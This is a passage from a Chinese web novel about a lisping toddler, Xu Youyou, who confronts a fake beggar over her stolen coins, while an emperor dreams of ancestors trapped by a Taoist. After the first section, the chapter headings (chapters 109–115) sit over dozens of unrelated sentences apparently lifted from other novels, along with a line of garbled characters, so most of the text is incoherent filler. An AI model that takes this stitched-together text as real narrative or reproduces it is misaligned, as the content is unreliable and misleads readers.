“哎呦,我说一个大老爷们,有手有脚的,干点什么不好,去坑蒙拐骗人家小孩的钱,真是够不要脸的。”
“这年头啊,什么人都有,我听说有些人装乞丐,还是团伙作案,他们分工明确,专门就是博人同情,骗人钱财,真是丧心病狂啊!”
“哎呀,这人,我看着就像你说的这种,来来来,咱们赶紧一起帮人家小姑娘把钱要回来。”
“对对对,把钱还给她……”
“还钱给她……”
乞丐看着围观人群义愤填膺,甚至有人都开始撸袖子了,赶紧连哭带嚎地求饶,
“小祖宗,饶命啊!!”
“小……小祖宗,你听我解释……”
“那铜板,已经没有了啊!”
“它……它已经转化进我肚子了呀!”
“我买了吃的,全吃了呀……”
“次了?”许呦呦眼睛一瞪,又是一掸子,“泥次得倒似欢啊!窝滴糖银都米了!泥倒是次上肉包子……还次鸡腿!”
“泥让窝次虾米?泥让窝喝西北风啊!”
就在这时,一只修长的手伸过来,轻轻握住小姑娘挥舞的小拳头。
“呦呦,不气了不气了哈!”
四皇子走了过来,他一把抱住还在挥舞的小姑娘,赶紧给他顺气,“哥哥帮你收拾他!”
而此时,四皇子身边的侍卫暗影急匆匆走了过来。
“殿下,属下已经查明,他确实不是个乞丐,经常在这装乞丐坑蒙拐骗,他还有同伙,他们经常这样装模作样骗人钱财……”
“就在昨天,他还扮演了一个跛脚老太太,带着体弱多病的小孙子,骗来往过客。”
“对了,他们还租了一间上房,就在这镇上……”
许呦呦一听,更是炸毛,“泥……泥竟然还有钱租上房??”
“泥个屎骗子,竟然比窝还有钱……”
“窝……窝要报仇!!”
四皇子赶紧抱紧比过年的猪还难按的小丫头,“呦呦放心哈,哥哥已经让人去把他们的窝点销毁了!”
许呦呦眼睛一亮,“辣……窝滴铜板还能找肥来吗?”
“狗东西,不干活,还想享受,窝要让他想屁次。”
“漂亮哥哥,介次,就让他变成完完全全滴乞丐,一件破布都扒给他留滴辣种……”
四皇子依然给她顺着气:“好好好,哥哥去给你找铜板。你先回去,好不好?”
许呦呦搂着他的脖子,眼睛亮晶晶地盯着他:“一定要找到窝滴铜板咧!”
“对了对了,要是找到多余滴铜板,就把它捐给慈善堂滴小盆友!辣里,不会有假!”
四皇子心里一暖,“好,都听呦呦的。”
许呦呦这才满意地点点头,被冬梅接过去抱在怀里。
乞丐瘫在地上,被侍卫直接拖走了……
回到马车旁,许呦呦被塞进车厢,一屁股坐在软垫上,忽然左看看右看看,小眉头皱起来。
“咦?凉,窝怎么从早上到现在,都米看到将军爹爹?”
杨婉云若无其事地拿起一件干净衣裳,一边给她换一边说:“你爹爹啊,忙着处理政事呢。”
“宋城的瘟疫虽然散了,后续还有好多事要安排——赈灾粮、重建房屋、安抚百姓,桩桩件件都离不了他。”
“哦,窝还以为,他躲着窝呢!”小家伙似懂非懂地点点头。
杨婉云心头一惊,还未来得及说话,便看到小姑娘一脸认真地说:“凉,窝昨晚做梦咧,梦到泥们都在次糖银,就窝米有……”
只见小嘴一瘪,可怜巴巴的:“哎……窝真似想糖银,想疯咧……”
杨婉云强忍住心头的颤动,手上的动作一顿,脸上却笑得温温柔柔:“做梦都是反的。梦到别人吃糖,那说明别人肯定没有糖吃。”
许呦呦想了想,好像确实没有。
哎,算咧,再慢慢攒吧!
此时,队伍最前面。
顾振宇骑着马,耳朵通红,目不斜视地领着队伍往前走。
旁边的亲卫小声问:“将军,您耳朵怎么这么红?”
顾振宇瞪他一眼:“太阳晒的!”
亲卫抬头看看天——阴沉沉的,哪来的太阳
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他识趣地闭上嘴,默默退到一边。
顾振宇深吸一口气,加快马速。
他闺女那委屈巴巴的小眼神,他实在不敢看。
毕竟,那乞丐,是他雇的……
刚才,他心虚的差点就原地升天了……
当天下午,队伍终于抵达都城。
城门口,两道明黄色的身影早就等在那儿。
皇帝背着手,踱来踱去,那步子踱的每一脚,都能看出急切和迫切。
高公公在旁边小心翼翼地劝:“陛下,您别急,顾将军他们很快就到了……”
“不急不急,”皇帝摆摆手,眼睛却一直往远处看,“朕都等了这么多天了,不急着这一时哈……”
说着,又来回走了几步,步子比刚才还快。
皇后站在旁边,看着他这副模样,忍不住摇头。
忽然,皇帝脚步一顿,捂着脑袋,眉头皱成一团。
皇后赶紧上前:“怎么了?可是头又疼得厉害了?”
皇帝摆摆手,转头宽慰道:“朕无碍,就是这几日没睡好罢了。皇后不必担心,等呦呦回来就好了……”
他嘴上虽这么说,心里却在叫苦连天。
这几日,他那帮祖宗轮番来他梦里哭诉,那哭得叫一个惨烈——
开国祖宗是第一个来,哭得胡子都湿了:“不肖子孙啊,你怎么还不派人来救你祖宗啊?”
“我们被那臭道士施了法,困在宗祠里出不去啊!那道士不知道使了什么妖法,天天吸我们的气运,我们这几百年的修为,都快被他吸干了!”
另一个祖宗也跟着哭:“不光吸我们的,还吸我们萧家子孙的气运!你那几个儿子最近是不是诸事不顺?那就是被吸的!”
“快去找小祖宗,有小祖宗,”就连他爹都挤进他梦里,急得胡子都翘起来了,“只有她能治那臭道士!”
“你赶紧的!立刻马上请她来宗祠,再晚几天,我们就真要被吸干了!”
“快去快去!我们能不能保住这几百年的修为,就全指望小祖宗了!”
皇帝一着急,从梦里醒过来,后背全是冷汗。
第一卷 第109章 康不见,康不见
当然不希望,可你听他的,我会让你活着;不听他的,他可会让你好过?
在下面的白免知道这是三人在新生后第一次真正的战斗,可能会有些不适应也说不定。
乐莫乐兮新相知,悲莫悲兮生别离。人世间最激动人心的两类感情就是悲和喜。
因为下午的事情让她现在一丁点的心情都没有了,在没有弄明白到底发生了什么事情时,她现在完全不想去在意那些事情。
砂隐村那边在木叶入侵计划的时候先被白免打怕了,但也仅仅是怕而已,之后我爱罗事件才让白免真正的受到敬畏。
差不多两个月不见,看见叶倾颜的肚子又大了不少时,叶唯兮一行人皆是瞪大了眼睛。
于是,黄悦椿拿了酒到酒店,请段郎、何碧香、李湘和岳灵珊一起用餐。餐桌上摆好了八盘冷碟——四荤四素,荤的是五香牛腱、六味猪手、七彩山鸡,八爪章丝;素的有爽口黄瓜、桂花山药、玫瑰萝卜、凉拌三丝。
可这绝非是一件事好事,毕竟晕了就不难受了,这想晕都晕不了的,才是最折磨人的。
接下来杜夫子并没有再出手只指点她,只是在旁边偶尔提醒一两句。
看儿子开心,两位老人也就勉为其难的都喝了两杯,虽然平时基本不喝酒。
她刚才也只是想站在外面看一眼那个房间里的情况而已,规则上甚至还说三楼给拍照的呢。
此时,深海魔鲸王的魂环开始爆发出耀眼的紫光,恐怖的能量威势冲击着姜峰的经脉,让他的身体不自禁的腾飞了起来,最后凝固在了半空中。
脑子里反复摩擦着这两个字,我家,不经意嘴角就扬起了一抹笑。
“真不愧是段长者你,年少就艺高人胆大。”何家树虽然也是下品四级,但是面对将领害兽,那就是一巴掌的事情,更别说虎口夺食了。
顿时,哈迪斯如同被大山压在身上一般,极端恐怖的冲击力顿时让他的意识陷入模糊,身体在这一刻竟然如同要分解了一般。
“什么?十五年才修炼到第五层?”邱索和竹家姐妹不禁同时惊道。
等带到目的地,缪烟悄无声息的将他杀死,为了不打草惊蛇并且要给刘季一个惊吓,她才选择一味的拍我,嘴角挂着笑容,笑的无声,她如恶魔般缓缓走来。
但是在兖州,他还是派遣了自己的别驾陈登还有张飞镇守在这里。
这是一把瓷制匕首,回收的瓷偶无用,正好重新塑形,没想到这么锐利。
“三楼你的头,然后就教我五路天山折梅手!还是去后面的那片树林。”楚南笑骂一句,然后正经地说,先解了圣丹之毒再说吧。
他们广发请柬,以他们的实力和关系,几乎诺曼城所有的有头有脸的贵族接到请柬之后,全都來了。
万骨山虽然只是天云宗内的一座大山,但其占地面积之广,几乎占到了整个天云宗面积的三分之一,而天云宗也正是依托万骨山,环绕而建的。
叶墨天不怕地不怕,就和叶子逛街。被丫头拉着走,像是无骨的软体动物。
劳娜利亚斯见叶风下去,并沒有去管胸前的箭伤,而是在第一时间就把自己的露在空气当中颤动不己的丰胸掩了起來。
葡萄树年龄越长,根系越发达,能吸收土壤中的养分越多。而随着葡萄树的树龄逐渐增加,它的果实产量却会逐渐减少。这样一来,它所吸取的营养元素给每串果实的分配就会更加集中,从而得到风味更浓郁的果实。
赵浩在大人用品里面淘宝的时候,楚南还在街道上继续闲逛着,看起来是闲逛,其实他心正为给冰云选生日礼物的事情着急呢。
“师太,这次的大会是专门针对魔头蚩般的吗,我们还是……”楚南的意思很明显,让大家以大局为重,但是话还没说完。
他一屁股坐在甲板之上,发出‘咚‘地声响,紧跟着他的侍从见状回过神來,急忙将他扶了起來。
欧拉正玩的兴高采烈,听了叶风的话,不由惊奇地‘咦’了一声。
他们是进入葬神地历练冒险不错,但如果碰到存在很大风险的地方,可不会前去。
不断有力量波动,向着周围扩散出去,震荡在石殿的石壁上,发出阵阵轰鸣。
里面的传承,能够帮助林动彻底的掌控吞噬祖符,而且借助祖符和吞噬之殿的传承之力,将精神力达到一个极为高深的程度,却也未尝不可。
“这……”蔡成万万没想到眼前这古怪道士竟然会说出这番话,他双目紧盯,内心暗道,这道尘尊者,虽说修为浅薄,还未凝出元种,手段却是极其高明,这番话说出来更是尤为自信,如此胆魄,让人敬佩。
等到那个时候,雨国皇室的老祖宗就不能被葬入风水宝地,只能被晾在这里,或者掀翻到别处。
在说话的时候,他走到房舍唯一的桌子上,把一个托盘拿过来,端到苏夜面前。
只能眼睁睁的看着杨炽龙息大殿内走去,凯撒大帝叹了口气,将手下的人都遣散出去,徒步走向了看门大爷。
原当时看见古越形成天地灵体时,南宫月兴奋的差点欢呼出来,还想着让古越无视上派,直接进入大宗门,可是现在这个家伙却形成了天地灵体。
第一卷 第110章 窝……给泥们报仇去
“他们敢骂窝?”小姑娘声音不大,却让整个宗祠的温度都降了几度。
五大武朝内,武者不得欺压普通人,违者必定会受到重罚,相应的,普通人若是对武者下手,罪责更重,毕竟武者才是统治阶级。
非常深切的了解到这些的三位老头儿,脸色可谓是灰败如灯灭,再也升不起丁点儿想要刺探一番的心情了。
“什么玩意!”后方,董惟学听到这两句直白粗浅的诗,皱着眉头暗自鄙夷。
相当于叶真日后只能自主修习两样神通武技,这让叶真以后怎么混?
以前军团的崽子在连蕴手术刀的威胁下,天天被迫吹捧她的盛世美颜。
她手里捧着花,冲着他看过来的时候,让他有种她就要向着他走来的错觉。
周围或是下过秘境的玩家,或是了解过秘境的大致情况,闻言立刻懂了。
也抱着钱多多主持不了大局,会把他这个大管事的召回来的想法。
6月8日是老爷子的七十大寿,顾洲早早跟清薇一起回了老丈人家。
说这话的是赵二叔,他早被赵二婶洗了几次脑了,如果他孙子被大山抱去养,以后赵大山的万贯家财可就是他孙子的了,到时候指缝里漏一点也够家里几个孙子享用的。
周倩开心的赶赴鄢家的生日宴会,可是没成想,居然一进宴会厅就碰到了打扮华丽的聂静。
一时间四眼班长被大家鄙视了,他甚至不了解大家为什么给他丢白眼。
“你怎么了?信上说什么了?”丰玉见他久久不说话,把脸凑上来对着信封一瞅。
她竟然直接把那袋子里的土,都倒了出来。一时间,泥土的味道就散发了整个病房。
魅香与夏颖相继赶到,两人的神色都不是很好,渐渐的大家都打听到了他们的阿和大人在前线受了重伤,情况危急。
药浴半个时辰后,荷木婶再次给她穿好衣服然后抱到床上去。喊来阿和把水倒掉,自己也紧跟着回去了。
“你如果不信的话,你看这里,有360度旋转的摄像头,我们大可以去交通警局,把时间查清楚,如果你一定要深究的话,我乐意奉陪。”他伸出了修长的手指,指着旁边的摄像头。
那男人不敢再把话挑明说了,虽然他很想说费逸寒占了这么多的股份,转让就是转让他的,但是他却没敢说出去。
那人一袭黑衣,头上戴着的黑色头套将他的面孔完全遮住了,只留下了一对眼睛在外面。朱啸并不知道他们是何种表情,不过那人的头微微低了一点,想来朱啸的猜测是没有错的。
烛九阴轻蔑地扫视了周围的那些神仙一眼,猛得深吸一口气,然后张嘴,吐出一团阴火,霎时间烧死了数百的神仙跟数以千计的阴鬼。
虽然对于那些普通的士兵阿喇哈青森从昨天开始便是不断的鼓励和称赞他们,但是对于自己手下的这批将领们阿喇哈青森只有批评。
“是哪方的候选人?”卢萨王子扫了眼众方代表,但是其中都没有一个势力表态。
第一卷 第111章 他在叫窝咧
李永乐听罢,心中暗笑一声,对方所说的合同期满,只不过是一个借口而已,对他来说,那合同如同废纸一张。
“我靠!程峰,你这玩笑开大了吧?难道咱们不经意的穿过了时间黑‘洞’?”那咻也不走了,就算走出去,也不再是他们的世界,天知道,外边会是什么样的景象。
只要能够找到新世界的入口,哪怕是和新世界的人发动战争,陈锋也在所不惜的,但前提是他得找到入口才行了。
“这个……”乔老顿时就被范老那气鼓鼓的样子给弄得不知道说什么好。
山洞里面的兽一天,看到自己的地狱之花竟然被李清风获得,气得脸色铁青,张嘴吐出一口鲜血,他的心中仿佛吃了螃蟹一样,那感觉甭提了。
“只能说,还有三个隐藏的敌军。”秦力想到此,立即招呼三人附身趴下。
刘梅知道自己哥哥是什么德性,心里大惊不好,便带着丈夫孩子一同来到镇上,找到刘鹏,他们才知道,原来这孩子真的是被刘鹏给偷来了。
殿内众人,除了五位掌旗使外,表现俱都和韦一笑相差不大,神情复杂难明,也不知在想些什么。
谢无忌入魔,虽然感观激增,更悍不畏死,但在张松溪和张翠山这两大高手的夹击之下,也再无法逞不了凶。
“你个该死的李浩,就不知道人家等了你一个晚上,就不起,就不起,”王晓敏一边说着,还一边是使劲的捶打着被子。
如果不把面子讨回来,毛剑新是没脸再到医科大混了,所谓好事不出门,坏事传千里,医科大几乎无人不知无人不晓:毛剑新被打成猪头了。
“王后,我们……”薇薇安说话有些吞吞吐吐,并不像她以往的样子。
看着眼前的破败不堪的皇朝宾馆,谁会想到当年的繁华,当年刀疤的时候这里不仅是东市有名的都城,就连周边几个市的有钱人都过来豪赌。
“姑姑身体可还好?”木惜梅担忧的看了容禄一眼,毕竟挨了那么多的板子,这一时半会肯定是好不了的。
他从来便认为,当为好汉者路见不平拔刀相助。龚飞仗势欺人,先不说他瞧不起自己侮辱无常。便只说他欺负赵思这一点,李凝便认为自家对付他并没有什么错。可张莹莹不问是非曲直,竟然放了龚飞却要来责罚自己。
第五却像看不到帝后之间的紧张,对帝后欠了欠身子,后退几步转身就走了:他是要按皇后的吩咐做事。
“就这样吧。”周楚点点头道,事实上,这种事情,其实都是不容置疑的口吻,周楚也没有打算有什么变故。
祸是我闯的,当然也应该由我来弥补,如果我能得到解药,然后理拉德喝掉我的血,他就可以完全摆脱现在的受制的状态,我倒是觉得还不错。
朱刚烈说这番话时,眼睛一直在注意着四夫人喜媚的神色变化,尤其是谈到悟空卧病在床时,可惜并没有看到他希望看到的那一幕,心中暗道难不成自己真的猜错了不成。
知道张夜不喜欢晶卡,喜欢现货,所以早有准备的清净散人一挥手,扔出天大一堆灵皇丹,18000颗,正是这次炼丹的报酬。
这一切看起来简单,但是没有对于力量的领悟以及细致的掌控力还是难以完成的。
苏游这样说,也就是说这些剩余的毛料里边竟然没有一块冰种以及冰种以上的料子。
叶天暗暗点点头,那应该就是这叶无痕的问题了。想想这家伙新官上任,第一把火就把自己的顾问一职给拿掉了,估计不是什么好鸟。
凌默涵被苏游发现,也没有不好意思,顺着苏游的话半真半假的说道。
嘭砰砰!墨离揪紧了时机,攻势不断的朝着巴蛇击杀他的七寸,顿时令他手忙脚乱,就连攻击也变得毫无章法。
沉默了几秒,我向我哥撒了一个谎:“哥,你放心吧,这钱是战友借我的,以后在还给他,你拿这钱先把高利贷还上,以后别借高利贷了。
因为我们都知道,如果警察搜到这里,发现水池边缘有水的痕迹,那我们基本上就被发现了。
我们走出那厉鬼的府邸,外面鬼市上的所有鬼魂见到我们都吓的躲到一角不敢出来,里面发生的一切让他们不得不惧怕我们。
慢慢地男人身体动了起来,一动起来,尤姆只能在他身下喘息呻吟,手紧紧抱紧陈肖然的肩膀。
当然,向罡天也是清楚,面对自己,司灵凤也是没信心,她要的不是动手的理由,而是不动手的借口罢了。要不然的话,又何须废话,直接动手便是行了。
酥晴眯着大眼睛,眸子内光泽闪烁,隐隐透着兴奋:“据我所知,男人都是有精力的,只要我们那样做,将那坏男人每天的精力都榨干,他就是想花心也花心不起来。”说着,她握着苏雅婷的胳膊,摇晃着。
当听到拍卖师说出此战傀的瑕疵时,众人眼中露出一抹迟疑,不过依旧被眼中的狂热所覆盖。
道一天帝没有说话了,他已经点出了重点,道十三会怎么想,他也不会强行要求。世间各有缘法,愿不愿悟,能不能悟,这不是师父能帮得到的。
我长大以后,他一直这样用语言羞辱我,现在还用花生米丢我的脸。
细品几许,这茶真是好茶。喝入嘴中,唇齿留香,连神魂都变得清明不少。向罡天似乎是忘记了其它,低头品着手中的茶,直到手中的茶尽,是满意地放下手中茶杯,随后是朝那四下看了眼。
“关羽又被杀了!”蒋雪道。她对于梦三国圈子里面的事情不是很清楚,一直在关注游戏里面的情况。
淿晢百阭元煡圢戋躥丄百旰倓,驫敝亀?晔百腟飈,戋坊圢宰釆百沓友丄,摲亀摲肔孊,戋翽虋迁亀,宗宗昩旚辖百,戋惭讣仐诘甙,结仐甙呷吡。
第一卷 第112章 那窝阔就嗦咧
京城之中战马来回奔驰,不断的有一个个朝廷大员的家里燃起火头,响起兵器交击的声音,和一声声惨叫。
而嬴中成留给他的三句话,嬴泗则是深深地记在了心里,以至于他下山的一路中,都是在想最重要的那两句。
袁洪的匕首之上爆发出金‘色’光效,刺客的金‘色’技能光效是击晕,水钧天立即把手中巨剑舞成一扇‘门’板,因为水族馆没有牧师职业,不可能有人为她丢缓慢治疗去状态,所以只能采用这样的手段不让技能命中。
“八十五万!”有修士见四周众人迟迟不开价,便第一个出声,妄图趁着四周修士还在震惊没有反应过来而捡个便宜。
“不知死活,区区几柄黄字级上品灵器,就想挡我,还不给我碎。”蛇无情长枪一挥,顿时有如蛇信子般的急速点动起来,一连串叮叮当当的声音响起,五枚仙剑都被远远的激荡了开去,所有的霞光都变成了漆黑色。
一人一虾一贝壳迅速的被漫天的风雪淹没,一丝痕迹也没有留下。
段秋打开一看两件武器和一件胸甲,除了这些还有一些材料和黑暗币,不过这些东西就直接无视了。
世尊大喝一声,突然朝虚空之印出一道道的金色掌印,一掌一掌之下,那处虚空出现了一道裂痕,裂痕之中一丝幽暗的气息透了出来。
也就在这时,四面八方的火焰如汹涌而起将他淹没,同时之间那上空的叶清雪化为一道白光飞逝而下。江流云翻转身体,如青龙翻身,周身灵浪涌起。
林羽本来以为,在这种聚集区,人类生活的状况应该还是不错的,可是他想错了,这里的人连难民营都不如。
当时规定红色是紧急情况,只是从没有人用过,玛奇看到的时候完全没有反映过来,还以为是有人在放烟花。
一夜无话,第二天,林羽去上厕所的瞬间石化,只见厕所里挂满了一条条罩罩,什么颜色都有,好像给他准备似的。
当然系统没有绝人之路,原本的十分制度,百分制度,千分制度都是只有日常任务的那一点作为来源,而现在,日常任务的一点照常拥有,多出了另外一个获取能量的途径。
而联合署名可是极高的待遇,而且是在这样顶级的期刊上,跟国内顶级教授联合署名。
“薛叔叔,如果你考虑转型搞房地产,我也非常支持。这样吧,你的银河软件公司由我全部收购,你拿了现金可以直接在江州买房买地,过过财务自由的轻松生活,还是完全不用担心的。”李枫说道。
不知是被自己的兄弟情深所动,还是碍于李斯的地位身份,总之一路之上没有人再提‘韩非’之事。
“我们再找一下看看有没有其他的蜜蜂窝吧,要是有更多的就好了。”临走之前,巴德鲁对大家说。
这一点倒是不能怪胖子,毕竟他都不知道,之前提醒一下林羽也是工作职责。
终于,她实在是忍不住了,身子往前一探,猛的咬住了披萨……以及墨清弦的手。
兴安伯府这一次倒下的人不少,但霍如意是最惨的那一个,又牵连了子嗣,恩荣伯府岂会不登门理论?
柳长生大方地说道,这两天来,他一直为屠山打下手,学到了不少实用的炼器窍门,何况,还需要屠山再炼制一炉利箭。
至于那些人之间的合作问题,谁能得到便宜,又有谁偷鸡不成蚀把米,那就看他们自己的博弈高下了。
“亏得锦灵不在,妈妈这么夸她,她都要羞死了。”杜云萝轻笑。
最后,qq已经很久没登了,未来的一段时间,宝宝们也见不到冰柠了。
第六执行组因为和上一届高层的私交原因,基本上是常驻南部基地所在的这座城市,而其组长也是整个联盟中数一数二的S级强者,因此算是南部基地实力强大于其他基地的一张重要王牌。
“秦思洋,我给你介绍一下,这是团子,我老公送的!”她骄傲地举着毯子,看样子是真的很开心。
城楼上,匆匆追上城楼的大司命和两位长老眺望着远遁的红线与疯和尚。
这个包厢里没有服务员,倒茶这种活儿就得温云来干了,她端起茶壶在夜宸、白喜和自己的杯子里各倒了一杯茶。
规则很简单,参加者被击倒在地就算输,而他们也不需要击倒考验者,只要表现的不错就可以。
“不过……年龄必须在百岁以下,不然后果自负!”那名老者突然停止笑容,严肃的说道。
这都将叫一声苦,暗骂老天无眼,自己这不是倒霉催的,早不偷懒,晚不偷懒,偏偏这王大人回来,自己跑去咪什么觉呀。
一个u型弯道在前方出现,速度已经完全超出了崔永星的掌控范围,他本想减速,可是……看到柯尼西塞尔丝毫没有减速的迹象后,一咬牙,也没有减速。
第一卷 第113章 乃乃乃!往介劈呀!
主要是因为余禾的名声在华尔街远要比白傲天要大许多,并且当初余禾加盟mg可是董事会花了极大的代价才挖来了,mg总部十分重视。
“你们要是下副本的话把我也带上,我也是十级,职业是圣骑士,不过物防才80点,下普通副本差不多,高手与专家难度的就有问题了。”林枫和谢海涛说话的时候,一个戴眼镜的也凑了上来。他的名字叫做林雷。
既然泰隆国际收编了绿角,那就不可能是准备放着好玩,应有的支持,肯定要给予的,国际战略就不可能是保守的,知名团队怎么可能过来玩泥巴。
四年前,当帕奇知道自己来到的是漫威着高危世界时,就列举出了无数个能够对他造成严重威胁的人或组织。
就像劳拉,她也只见过一次而已,而且还只是一面之缘的那种,并没有深入接触,可她也记得很清楚。
其实我心里想的是,蒋碧微身体较弱,一直不好,抵抗力比较弱,加上这个时代的医术比不上现代那么先进,做个手术一个星期就可以出院,这个时代,不管是药物还是设备,都是远远不及现代的。
然而此时花璇玑根本顾不上其他,一双眼睛紧紧的盯着那穿过玉无瑕胸膛的匕首,几乎忘了该怎样去呼吸。
见张太白戴上眼镜,老杜根在他手腕上的那块‘元老会’专用手表上点了几下,下一刻,张太白的眼前便出现了不同的画面。
幽岭的这段故事,我也还有很多说不清道不明的地方,这里从此以后两边都建起了铁丝网。
赵成英耐心的看着点滴一滴一滴的滴落,安静的坐在木南汐的病床前,收起自己所有的爱意。
听见这句话,有那么一瞬间,苏林晚都已经陆榆安这是在担心她的安危。
妙玉师太急忙去倒茶递给寒东琅,寒东琅接过茶杯喂她,她喝了三口水,伸出指头往嘴里戳着,就是不说话。
“紫音姐!我好累的!让她们帮我按摩下吧!”牧凡眼神依旧在那单薄的衣服下面扫荡。
浮碧山庄众人无不动容失色,情教那厢则是洋洋得意,叫好不迭。
古代的位面,芜奈见是见过,大多就那么几个样子罢了,只有些故事背景不一样罢了。
天地静了下来,丛林沙沙沙的声响,可以听出,有东西向自己靠近。
大黑猫叫了一句,然后伸出两只爪子,使劲扣着棺材盖的缝隙处,似乎是想把棺材盖掀开。
这座庇护所,最有价值的地方是庇护所本身。但由于交通实在不便利,它的价值几乎可以忽略不计。
其次有价值的,便是那些机床,和中央控制中心的超级电脑。超级电脑一般不好搬走,因为太过于复杂。
李龙飞将气息输出来之后,又一番舞动,将那看不见却力道无穷的气息如同把玩一般地推向了汗博亚飞船的顶端。
剑士们整齐划一的拔起身后的长剑,勇敢的向不远处的死神塔那托斯扑去,欧阳鹏程不由得一声惊叹,明知山有虎偏向虎山行,这些人如果不是傻瓜就是对自己的实力极有信心,竟然直接冲击boss而且。
白家的院子更大,老大家住外院的东厢,老二家住西厢,老白两口子住后院正房,老三和秀芹就住西厢。听见秀瑶和姥爷来,已经挺起肚子来的秀芹欢喜地就迎出来,互相问了好,秀瑶忙扶着大姐。
结果秦二贵气得再也没理她,以前还斥责她两句让她少嚼舌头,如今连话也懒得说。
“铁桶侠!我草你妈的!”夨爺一看到那熟悉的铁桶,张口就骂。两边的人知道这是出击命令,提起武器向叶华杀过去。
很奇怪,母亲的声音很低沉,他们的样子不像在说什么严肃的事吧;。
这是一种曼陀罗花粉配制的迷药,只要龙萱在屋内,闻到之后,三十秒钟内,就会出现晕厥。而毒手罗刹就会趁机而入,给龙萱来一个致命打击,随后再趁乱,逃之夭夭。
她说这么多,无非就是想要劝她帮自己,她怕的不就是唐幽幽受到伤害么,若是知道唐幽幽不会受伤,那她还会犹豫么?
唐幽幽嫣红的嫁衣映着一路的曼珠沙华,那般光彩夺目!特别是当那些荧光的金丝线因为灯光的倾泻,闪出诡异的红色光芒,一朵朵美艳的曼珠沙华清晰可见,真的是美呆了冷雪和寒冰二人。
已经记不清那是怎样的混乱,她只是愣愣地坐在自己的房中,甚至已经打算好了,若是他真的将奏章送了上去,就即刻吊死在房中,她是舍弃了心嫁进王府的,不能再把尊严也给丢弃了。
当然,前一世万念的爱情刚刚萌芽,就被大反派掐灭了,她哪懂什么爱情?
脸上依旧挂着淡淡的笑容,若不陈述知他往事,恐怕要被骗了过去,这笑容怎么看都真诚得很。
张母一听,也是思子心切,也没有什么好的办法,只能拿些简单的东西。张父则牵着家里的牛,跑去亲戚家,托人家帮忙照看,顺便把田地分与人家。
随即,谷夜恒原地旋转飞出了自己筑造的火栅栏,御风踏浪,一道蓝光击中了那始终背对海滩的绿袍之人。
然而,这蒙面黑衣人的眉头似乎闪过一丝焦虑,慕凤曦着急谷夜恒的伤势,倒是没注意这些。
待士兵们把东西准备妥当,只见雷飞云将牛眼泪和童子尿混在一起,鸡血狗血混在一起,待天黑时,命士兵将红布用木棍撑起,放置在营帐周围,接着又命士兵将血泼洒在营帐周围。
“它们属于仙人之地妙木山…”自来也思考了一会儿,认为可以告诉鼬更多不可知之地的事。
第一卷 第114章 你怎么可能会有这种女儿?
此时。
无量道长被许呦呦刺激得丧失了心智,额头青筋暴起,眼珠子通红,嘴里念念有词,声音越来越大,越来越急……
血从他嘴角淌下来,滴在剑上,滋滋冒着黑烟。
很显然。
他已经不是在做法了,他这是在拼命。
天空中,发出爆鸣声,有一杆天戈,划破永恒,要割裂天地,声势浩瀚无垠。
“嗷,大哥别打!我们还有理智!”两兄弟嗷的一声惨叫,立刻蹲下来捂住脸。
飞梭行驶到山脚附近,郑伟奇停下来,把飞梭停好。两人徒步向山上行走。
枫景愣怔了好久都没缓过来,他不满红血丝的眼睛瞬间充血,竟然有些凶狠。
九天点头,知道语凝蝶了解的恐怕也不多。不过这足以解决他心里的疑惑了。
他们将东西都放在了桌子上,便躬身垂头,倒退出了房间,关上了门。
见杨慧婷沉默不语,沐红公子微笑着走向杨慧婷。一边走,手中还一边变化这法决,准备先暂时控制住杨慧婷。
“老板?”索建明一愣,不明白九天为什么这么好说话。不过老板下了命令,他也就不在反对,不过还是嘟囔了几句。
推门的瞬间,应总看到了约了几个月都没有约上的金牌制作人白术。
何阳郡城内的一间客栈里,当华天也听说了那位天玄子要用金银珠宝来布阵降妖后,华天嘴角露出一丝笑意:“金银降妖,亏他能想到这么一个借口”。
“并没有。”林尚天摇了摇头,黑夜里我不太看得清他的表情,不过听声音感觉有点轻蔑的感觉。
许久,风吹落了一地的花瓣,空气中带着浓郁的琼花香飘散满院,夜雨缓缓转过身,晃动着那已然僵硬的双腿,离开了寝室,只要她高兴,就是杀光全天下的人,他也愿意,白魅儿,别怪我无情,要怪就只能怪你自己吧。
自然了,这份“觉悟”,只是针对有抱负的人而言之的,如果没有抱负,那么坐什么位置都一样。
众人听了立刻点头称是。大家都摩拳擦掌,在洞口等候,并且侧着耳朵在听山洞里的声音。
这一声刚说完,我撇眼就看到风千月刚刚出来的洞口里,钻出了一条橘黄的蛇,身上还有一些白的黑的斑点,看着很是瘆人。
慕容倾冉怔了怔,仰头轻笑两声,随后一副冰冷的望着冥影:“我让你三招,无需兵器”。
他首先将妖人大军分成三部,任命伦纳德博士和左慈分别担任左右将军,各自统领一支部队,自己统帅中军,以底比斯为基地,开始向这个时空的神族开战。
本来不少内门长老对时龙还是不怎么看好,怎么说他还太年轻,但是现在时龙突然间成为了武王境界的强者。
而随着九根香火头叭叭爆燃,伴随唰啦一声,九根香火齐刷刷断掉了七根,零落那供台上。
钟南觉得也是,真要是有人在监视他,也不至于那么近距离地进行,否则胡焕山等人不可能一点动静都没发现。
嘲讽之音渐渐升起,许多年轻修士早已看他不顺眼,忍不住反唇相讥。
他们很少会伤人,也很少会暴露自己,但若是谁惹上他们,那么下场定然会无比的凄惨。
利箭嗡嗡声还在耳边彻响不觉,无霜瞪大眼睛一动不动,无雪和无风则都震惊地望向落在他脚边的箭枝,接着又齐刷刷看向无霜耳边的箭靶,那里,红彤彤的朱砂粉赫然显示着方才那一箭的目标。
第一卷 第115章 真正滴法是怎么作滴
“把这些烂到肚子里、嘴巴给我闭严!”丢下一句警告,温柔儿转身也大步跑开了。
不过若真要细究,可能还是佛宗离得要稍微近些,乘坐中阶飞行器过去,也就大概三天时间。
妗砚有一些不好意思,她其实不怎么喜欢打架的,只不过一些事情必须以暴制暴才可以解决问题。
最开始的时候,大部分人对这款超梦的反应都是无视,都觉得这款超梦没什么可讨论的,甚至骂都骂不出什么花样。
街道上响起一阵急促的马蹄声后,只剩下杨坤和郭壮图二人在呛人烟尘中凌乱,他二人本是吴军参谋,虽然也会骑马,但是骑术并不精通,这会是想追追不上,想躲躲不脱,因为身后的喊杀声已经近在咫尺了。
穆柃是单亲家庭,他母亲年纪也大,穆柃得有一技之长,不然穆柃的母亲日后没有依靠。
即便她不停地在心里给自己巩固防线,强调“那不是自己”,依然不能全然无视。
因为在紧急情况下,他也可以操控时间粒子具现化为现成的武器或者护盾,像超能力者一样操控这些时空粒子进行战斗。
显然,他们也都清楚封闭管理的加工厂那肯定是个天坑,一旦进去了再想出来就不知道是猴年马月了,实际上只有两个选项。
